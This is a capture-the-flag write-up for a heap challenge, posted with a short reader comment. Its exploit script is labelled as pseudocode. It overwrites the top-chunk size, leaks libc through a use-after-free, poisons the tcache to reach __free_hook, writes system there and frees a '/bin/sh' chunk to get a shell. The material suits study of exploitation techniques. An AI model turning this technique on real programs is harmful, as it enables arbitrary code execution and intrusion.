Rating:

pseudocode for solution

```python
p = elf.process()

def menu(ch, pt="Choice: "):
wsnd(ch, pt)

def malloc(sz, data="XXXXXXXX"):
menu(1)
p.sendlineafter( "size: ",sz)
if data:
p.sendlineafter("data: ",data)

def free():
menu(3)

def show():
menu(2)
return pr("1.")[:-3]

# Overwrite top chunk to a smaller size (prev in use set && page aligned)
malloc(0x18, b"A" * 0x18 + pack(0x1d51))
# Allocate memory larger than the new top chunk size causing a free operation
malloc(0x2000)

# make an allocation from unsorted bin and immediately free it
malloc(0x518, "AAAAAAAA")
free()

# Use read after free to leak libc address from freed chunk
dump = show()
mallochook = solver.dpaddr(dump, 0) - 0x70

# Get free hook and system usinf libc leak
solver.libc.init_base(mallochook, "__malloc_hook")
fhook = libc.sym["__free_hook"]
system = pack(libc.sym["system"])

# get one entry in 0x70 tcache
malloc(0x68) # chunk A
free()

malloc(0x28) # chunk B
free()

malloc(0x58) # chunk C
free()

# Realloc chunk B and owerwrite chunk C sizefield to 0x71
malloc(0x28, b"B" * 0x28 + pack(0x71))
free()

# Alloc chunk C from 0x60 tcache and free it to 0x70 tcache
malloc(0x58)
free()

# Realloc Chunk B and owerwrite fd of chunk C to __free_hook
malloc(0x28, b"A" * 0x28 + pack(0x71) + pack(fhook))

malloc(0x68) # Move __free_hook to head of tcache 0x70
malloc(0x68, system) # Owerwrite __free_hook with system

# system("/bin/sh")
malloc(0x18, "/bin/sh\0")
free()

p.interactive()
```

Original writeup (https://github.com/viperx7).
IdanBananiOct. 3, 2021, 7:49 p.m.

Managed to complete it. Would have never thought about this trick, although I'm aware of it.